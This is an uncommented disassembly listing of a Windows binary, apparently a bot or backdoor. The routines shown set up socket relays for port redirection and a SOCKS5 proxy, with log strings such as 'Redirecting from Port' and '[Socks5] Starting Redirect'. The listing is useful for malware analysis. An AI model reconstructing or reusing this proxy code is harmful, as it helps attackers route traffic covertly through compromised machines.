; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		call	near ptr 2811E0Eh
		nop


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi	; closesocket


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi	; closesocket


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; ¼
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0A0h	;  
		db  67h	; g
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  70h	; p
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0E1h	; á
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0DAh	; Ú
		db  5Dh	; ]
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		call	near ptr 2811E0Eh
		nop
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
		dd 7F000BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 7EFF93E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F60
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F60
		jnz	short loc_42C3ED
		push	offset byte_446F60
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A7D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 4655E851h
		dd 83907781h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


